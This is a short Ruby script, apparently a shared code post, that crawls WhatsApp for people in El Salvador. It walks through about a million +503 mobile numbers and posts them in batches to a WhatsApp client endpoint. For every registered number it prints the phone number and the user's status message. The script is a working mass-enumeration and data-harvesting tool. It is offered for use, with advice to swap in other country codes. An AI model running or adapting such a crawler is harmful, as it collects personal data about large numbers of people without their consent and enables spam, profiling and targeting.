donfanning
8/15/2018 - 1:53 PM

Whatsapp status crawler for Central America mobile phone numbers.

Whatsapp status crawler for Central America mobile phone numbers.

#!/usr/bin/env ruby
#
# Whatsapp status crawler for Central America mobile phone numbers.
#
# Based on a SBD post by Alejandro Ramos:
# http://www.securitybydefault.com/2012/03/casi-10-millones-de-moviles-espanoles.html
#
# Modified by @hugogilmar & @andrexu for mobile phone numbers in El Salvador
#--------------------------------------------------------------------------------------
# You must change some parameters matching to your country, your country code, for example. HAVE FUN!
#--------------------------------------------------------------------------------------
#
# Prefix phone numbers for Latin America and Others, can be found at http://en.wikipedia.org/wiki/List_of_country_calling_codes#Zone_5_.E2.80.93_Mostly_Latin_America
#
# Usage: ruby ./whatsapp.rb > statuses.txt

require 'net/http'
require 'plist'

URL = "https://sro.whatsapp.net/client/iphone/iq.php"
PARAMS = [['cd', 1], ['cc', 503], ['me', 70000000]]
(7000..7999).to_a.each do |n|
  (0..99).to_a.map do |m|
    numbers = (0..99).to_a.map do |o|
      group_n = "%04d" % n
      group_m = "%02d" % m
      group_o = "%02d" % o
      ['u[]', "+503#{group_n}#{group_m}#{group_o}"]
    end
    uri = URI(URL)
    uri.query = URI.encode_www_form(PARAMS + numbers)
    Net::HTTP.start(uri.host, uri.port,
      :use_ssl => true) do |http|
      request = Net::HTTP::Post.new uri.request_uri
      request.body = ''
      response = http.request request
      xml = response.body.force_encoding('UTF-8')

      Plist::parse_xml(xml).each do |r|
        p "#{r['P']}: #{r['S']}"
      end
    end
  end
end